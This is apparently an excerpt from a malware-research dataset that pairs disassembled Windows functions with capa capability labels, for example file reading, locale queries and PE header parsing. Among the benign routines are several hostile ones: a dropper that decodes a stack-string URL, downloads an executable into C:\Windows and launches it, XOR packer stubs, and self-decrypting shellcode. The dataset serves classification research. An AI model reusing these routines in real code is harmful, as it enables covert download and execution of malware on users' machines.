joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014cca
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x10032990]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10014d10
cmp word [ebx], dx
jne 0x10014d10
or byte [eax + edi + 0x28], 4
jmp 0x10014d15
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10014e78
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10014e58
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10014d56
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10014d8c
cmp eax, edx
jae 0x10014d9a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10014d31
jmp 0x10014e78
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10014e53
cmp dword [ebp - 0x18], 0
je 0x10014e53
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x10032990]
test byte [eax + edi + 0x28], 0x48
je 0x10014e29
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x10014ded
mov word [esi], cx
jmp 0x10014e24
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x10032990]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x10032990]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x10032990]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10014e78
pop eax
cmp word [ebp - 4], ax
jne 0x10014e39
cmp esi, ebx
jne 0x10014e39
mov word [esi], ax
jmp 0x10014e75
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10015703
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10014e78
push 0xd
pop eax
jmp 0x10014e34
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x10032990]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10014e72
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10014e78
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10019e4c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10019ee9
push ebx
push esi
call fcn.10019e15
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10018bea
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10019e96
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10019ee8
push edi
push eax
call fcn.10015761
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10019eb6
call fcn.10013609
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10019ee7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10018bea
add esp, 0x20
test eax, eax
jne 0x10019ed5
push edi
call fcn.10013609
jmp 0x10019edd
push ebx
call fcn.10013609
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001c166
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10010b07
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1001c1d5
cmp esi, dword [ebp - 4]
je 0x1001c1d0
cmp dword [ebp + 0xc], 0
je 0x1001c1d0
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1001c1ad
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1001bcb8
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x1001c1d7
xor eax, eax
inc eax
jmp 0x1001c1d7
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x1001c23c
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10031048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.10010b07
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10010b07
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x1001c2b3
cmp word [ecx], dx
je 0x1001c2b3
mov eax, dword [0x10023b94]
push edi
dec eax
push eax
push 0x10023a80
call fcn.1001c1db
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x1001c326
cmp word [eax], dx
je 0x1001c326
mov eax, dword [edi]
test eax, eax
je 0x1001c2d7
cmp word [eax], dx
je 0x1001c2d7
lea eax, [ebp - 0x10]
push eax
call fcn.1001bbbe
jmp 0x1001c2e0
lea eax, [ebp - 0x10]
push eax
call fcn.1001bc59
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1001c350
mov eax, dword [0x10023a7c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10023770
call fcn.1001c1db
add esp, 0xc
test al, al
je 0x1001c350
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x1001c31b
cmp word [eax], di
je 0x1001c31b
lea eax, [ebp - 0x10]
push eax
call fcn.1001bbbe
pop ecx
jmp 0x1001c352
lea eax, [ebp - 0x10]
push eax
call fcn.1001bc59
jmp 0x1001c318
mov eax, dword [edi]
test eax, eax
je 0x1001c33d
cmp word [eax], dx
je 0x1001c33d
lea eax, [ebp - 0x10]
push eax
call fcn.1001bb73
pop ecx
jmp 0x1001c350
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1001c41b
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1001c060
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1001c41b
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1001c41b
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1001c41b
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1001c3a8
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100141be
test ebx, ebx
je 0x1001c416
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100141be
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1001c41b
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1001c41b
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1001e7a4
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1001c41d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007f50
leave
ret
Function at 0x1001ef31
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1001eead
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1001f0a0
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1001f0a0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1001f055
jg 0x1001ef8d
test eax, eax
je 0x1001f04b
push 1
push 0x1000
call fcn.10013b87
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1001efb0
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001f042
push 0x8000
push ebx
call fcn.1001edde
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1001efd9
jg 0x1001efd4
cmp ecx, 0x1000
jb 0x1001efd9
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100133ed
add esp, 0x10
cmp eax, 0xffffffff
je 0x1001f01e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1001efd4
jl 0x1001f005
test ecx, ecx
jne 0x1001efc6
push dword [ebp - 0xc]
push ebx
call fcn.1001edde
push esi
call fcn.10013609
add esp, 0xc
xor ebx, ebx
jmp 0x1001f0ae
cmp byte [edi + 0x24], 0
je 0x1001f035
cmp dword [edi + 0x20], 5
jne 0x1001f035
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1001f040
mov ebx, dword [edi + 0x18]
jmp 0x1001f042
xor ebx, ebx
push esi
call fcn.10013609
pop ecx
jmp 0x1001f0ae
test ecx, ecx
jg 0x1001f017
jl 0x1001f055
test eax, eax
jae 0x1001f017
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10015703
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1001f075
cmp byte [edi + 0x1c], 0
je 0x1001f017
jmp 0x1001f0a6
push ebx
call fcn.1001c7f6
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1001f017
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001f0ae
cmp byte [edi + 0x1c], 0
je 0x1001f0ab
mov ebx, dword [edi + 0x18]
jmp 0x1001f0ae
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10015703
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1001f590
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001f5bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001f5bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x424b14
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x452e20
call fcn.00425116
push 1
call fcn.00424b97
pop ecx
test al, al
jne 0x4249bd
push 7
call fcn.004257a1
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00424b62
mov byte [ebp - 0x24], al
mov eax, dword [0x461f38]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4249b6
test eax, eax
jne 0x424a27
mov dword [0x461f38], ecx
push 0x42835c
push 0x428344
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x424a0a
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x424b0e
push 0x428340
push 0x4282f0
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x461f38], 2
jmp 0x424a2c
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00424cf4
pop ecx
call fcn.00425795
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x424a5c
push esi
call fcn.00424c67
pop ecx
test al, al
je 0x424a5c
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.004259d3
call esi
call fcn.0042579b
mov esi, eax
cmp dword [esi], edi
je 0x424a7a
push esi
call fcn.00424c67
pop ecx
test al, al
je 0x424a7a
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.004258b6
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_wide_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.004258ec
test al, al
jne 0x424ab3
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x424abc
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.00424d11
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x424b0e
call fcn.0042515c
ret
call fcn.00424823
jmp 0x42499e

Function at 0x4264c9
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
test edx, edx
jne 0x4264d8
or eax, 0xffffffff
jmp 0x426515
movzx eax, word [edx]
mov ecx, 0x1505
push esi
xor esi, esi
jmp 0x4264f2
imul ecx, ecx, 0x21
movzx eax, ax
xor ecx, eax
inc esi
movzx eax, word [edx + esi*2]
test ax, ax
jne 0x4264e5
imul eax, ecx, 0x41c64e6d
imul ecx, ecx, 0x10dcd
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
pop ebp
ret 4

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x5381319a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x5fcc54f6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x853887
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x7b2a528b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10012004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sub eax, 1
je 0x1000101d
sub eax, 1
jne 0x1000106f
movaps xmm0, xmmword [str.http:__Down.ftp2]
lea eax, [ebp - 0x24]
push 0
push 0
push str.C:WindowsShell_Open.exe
push eax
push 0
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x63632e31
mov dword [ebp - 0x10], 0x3534342f
mov dword [ebp - 0xc], 0x67706a2e
mov byte [ebp - 8], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1000106f
push 1
push eax
push eax
push str.C:WindowsShell_Open.exe
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10001084
mov esp, ebp
pop ebp
ret 0xc
Function at 0xe3be94
Capabilities:
Encode data using xor

Disassembly:
jmp 0xe3be9e
pushal
call 0xe3bea4
pop ebp
sub ebp, 0x10
sub ebp, 0xa3be94
jmp 0xe3beba
mov eax, 0xa3be94
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b4
mov edx, 0x6e52d2f5
xor byte [eax], dl
inc eax
dec ecx
jne 0xe3bed1
jmp 0xe3bee4
jle 0xe3bf1e
jle 0xe3bf64
leave
cmc
cmc
cmc
je 0xe3bf22
or eax, 0xf6f5f5f5
cmp byte [ebp - 0xd], cl
cmc
cmc
cmc
dec edi
invalid
jle 0xe3bf78
stc
cmc
cmc
cmc
div byte [eax]
movsd dword es:[edi], dword [esi]
js 0xe3be9e
ror dword [ecx], 1
jl 0xe3bf02
rcr dword [ebp - 0xa15212b], 1
popfd
xchg byte [esi + 0x71], ah
cmc
hlt
rcr dword [ebp - 0x76df85b0], 1
sbb eax, 0xf5f5f5f0
and byte [ecx - 0xa0a0fe3], cl
cmc
sbb al, 0xdf
cmc
cmc
cmc
mov al, byte [0xf5d19978]
jle 0xe3bfa5
std
cmc
cmc
cmc
jle 0xe3bf9b
stc
cmc
cmc
cmc
jle 0xe3bfb9
in eax, 0xf5
cmc
cmc
xor al, 0x1c
test esp, 0xf13776f7
mov esp, 0xa0170fa
or cl, byte [edx]
test al, 0x37
stc
cmc
jle 0xe3bfd3
sal ecx, 1
cmc
cmc
cmc
popfd
aad 0xde
ljmp 0xf571
popfd
xchg byte [esi + 0x71], ah
cmc
hlt
sbb eax, 0xf5f5f5f0
sbb al, 0xb8
div ebp
cmc
js 0xe3bf0a
xchg ecx, eax
ror dword [ecx], 1
jl 0xe3bf56
sar dword [eax - 0x67], 1
sal ebp, 1
or al, byte [eax - 0x27ff507]
sbb eax, 0xf5f5f58d
jle 0xe3bfd7
std
cmc
cmc
cmc
je 0xe3bf99
invalid
je 0xe3bf9f
invalid
invalid
invalid
cmc
cmc
cmc
cli
jge 0xe3bf6d
cmc
cmc
cmc
xchg ebx, eax
jle 0xe3bf9f
int3
sbb eax, 0xf5ef71fa
cmc
cmc
jne 0xe3bfd0
sbb al, 0xfa
jno 0xe3bfaa
cmc
cmc
cmc
xchg ebx, eax
je 0xe3bfda
or dl, al
cli
jno 0xe3bfb1
loopne 0xe3bfc7
cmc
cmc
cmc
mov ah, 0x1c
cmp dword [edx], ecx
or cl, byte [edx]
or cl, byte [edx]
or bl, ah
mov ecx, 0x3476f4cc
fdivr qword [ecx + 0x3476f4cc]
invalid
Function at 0x10028f30
Capabilities:
Delete directory

Disassembly:
sub esp, 0x218
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x21c]
je 0x10028f72
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
cmp dword [esp + 0x214], 0x104
jl 0x10028fab
push 0xa1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
jmp 0x10028fb7
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov esi, eax
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
cmp edx, eax
je 0x10028fdc
mov ecx, edx
shr ecx, 0x10
test ecx, ecx
je 0x10028fdc
cmp dword [esp + 4], 0xffffffff
je 0x10028fdc
push edx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4

Function at 0x10029000
Capabilities:
Set current directory

Disassembly:
sub esp, 0x218
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x21c]
je 0x10029042
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
cmp dword [esp + 0x214], 0x104
jl 0x1002907b
push 0xa1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
jmp 0x10029087
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, eax
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
cmp edx, eax
je 0x100290ac
mov ecx, edx
shr ecx, 0x10
test ecx, ecx
je 0x100290ac
cmp dword [esp + 4], 0xffffffff
je 0x100290ac
push edx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4